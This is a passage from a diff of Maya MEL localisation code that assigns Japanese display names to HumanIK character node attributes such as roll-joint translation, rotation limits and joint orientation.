"右腕ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrientx", "右腕ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrienty", "右腕ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrientz", "右腕ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimit", "右腕ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitx", "右腕ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimity", "右腕ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitz", "右腕ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimit", "右腕ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitx", "右腕ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimity", "右腕ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitz", "右腕ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnablex", "右腕ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnabley", "右腕ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnablez", "右腕ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnablex", "右腕ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnabley", "右腕ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnablez", "右腕ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1", "右前腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1T", "右前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Tx", "右前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Ty", "右前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Tz", "右前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1R", "右前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Rx", "右前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Ry", "右前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Rz", "右前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1S", "右前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sx", "右前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sy", "右前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sz", "右前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", "右前腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxis", "右前腕ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisx", "右前腕ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisy", "右前腕ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisz", "右前腕ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrient", "右前腕ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrientx", "右前腕ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrienty", "右前腕ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrientz", "右前腕ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimit", "右前腕ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitx", "右前腕ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimity", "右前腕ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitz", "右前腕ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimit", "右前腕ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitx", "右前腕ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimity", "右前腕ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitz", "右前腕ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnablex", "右前腕ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnabley", "右前腕ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnablez", "右前腕ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnablex", "右前腕ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnabley", "右前腕ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnablez", "右前腕ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2", "左大腿部ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2T", "左大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Tx", "左大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Ty", "左大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Tz", "左大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2R", "左大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Rx", "左大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Ry", "左大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Rz", "左大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2S", "左大腿部ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sx", "左大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sy", "左大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sz", "左大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", "左大腿部ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxis", "左大腿部ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisx", "左大腿部ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisy", "左大腿部ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisz", "左大腿部ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrient", "左大腿部ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrientx", "左大腿部ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrienty", "左大腿部ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrientz", "左大腿部ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimit", "左大腿部ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitx", "左大腿部ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimity", "左大腿部ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitz", "左大腿部ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimit", "左大腿部ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitx", "左大腿部ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimity", "左大腿部ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitz", "左大腿部ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnablex", "左大腿部ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnabley", "左大腿部ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnablez", "左大腿部ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnablex", "左大腿部ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnabley", "左大腿部ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnablez", "左大腿部ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2", "左脚ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2T", "左脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Tx", "左脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Ty", "左脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Tz", "左脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2R", "左脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Rx", "左脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Ry", "左脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Rz", "左脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2S", "左脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sx", "左脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sy", "左脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sz", "左脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", "左脚ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxis", "左脚ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisx", "左脚ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisy", "左脚ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisz", "左脚ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrient", "左脚ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrientx", "左脚ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrienty", "左脚ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrientz", "左脚ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimit", "左脚ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitx", "左脚ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimity", "左脚ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitz", "左脚ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimit", "左脚ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitx", "左脚ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimity", "左脚ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitz", "左脚ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnablex", "左脚ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnabley", "左脚ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnablez", "左脚ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnablex", "左脚ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnabley", "左脚ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnablez", "左脚ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2", "右大腿部ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2T", "右大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Tx", "右大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Ty", "右大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Tz", "右大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2R", "右大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Rx", "右大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Ry", "右大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Rz", "右大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2S", "右大腿部ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sx", "右大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sy", "右大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sz", "右大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", "右大腿部ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxis", "右大腿部ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisx", "右大腿部ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisy", "右大腿部ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisz", "右大腿部ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrient", "右大腿部ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrientx", "右大腿部ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrienty", "右大腿部ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrientz", "右大腿部ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimit", "右大腿部ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitx", "右大腿部ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimity", "右大腿部ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitz", "右大腿部ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimit", "右大腿部ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitx", "右大腿部ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimity", "右大腿部ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitz", "右大腿部ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnablex", "右大腿部ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnabley", "右大腿部ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnablez", "右大腿部ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnablex", "右大腿部ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnabley", "右大腿部ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnablez", "右大腿部ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2", "右脚ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2T", "右脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Tx", "右脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Ty", "右脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Tz", "右脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2R", "右脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Rx", "右脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Ry", "右脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Rz", "右脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2S", "右脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sx", "右脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sy", "右脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sz", "右脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", "右脚ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxis", "右脚ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisx", "右脚ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisy", "右脚ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisz", "右脚ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrient", "右脚ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrientx", "右脚ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrienty", "右脚ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrientz", "右脚ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimit", "右脚ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitx", "右脚ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimity", "右脚ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitz", "右脚ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimit", "右脚ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitx", "右脚ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimity", "右脚ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitz", "右脚ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnablex", "右脚ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnabley", "右脚ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnablez", "右脚ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnablex", "右脚ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnabley", "右脚ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnablez", "右脚ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2", "左腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2T", "左腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Tx", "左腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Ty", "左腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Tz", "左腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2R", "左腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Rx", "左腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Ry", "左腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Rz", "左腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2S", "左腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sx", "左腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sy", "左腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sz", "左腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", "左腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxis", "左腕ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisx", "左腕ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisy", "左腕ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisz", "左腕ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrient", "左腕ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrientx", "左腕ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrienty", "左腕ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrientz", "左腕ロール 2 のジョイント方向 z 可動部" ); 